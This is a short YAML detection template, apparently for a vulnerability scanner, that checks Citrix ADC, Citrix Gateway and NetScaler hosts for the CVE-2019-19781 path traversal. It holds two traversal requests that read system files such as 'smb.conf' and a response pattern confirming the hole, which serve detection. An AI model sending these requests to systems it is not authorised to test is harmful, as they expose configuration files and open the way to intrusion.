send:
  - method: 'GET'
    url: '/vpn/../vpns/services.html'

  - method: 'GET'
    url: '/vpn/../vpns/cfg/smb.conf'

detect:
  - response:
    - body: 'name resolve order =.*lmhosts'

meta-info:
  - type: ptrav
  - threat: 98
  - applicable_for:
    - fast
    - scanner
  - tags:
    - Path Traversal
    - Citrix ADC
    - Citrix Gateway
    - NetScaler
    - CVE-2019-19781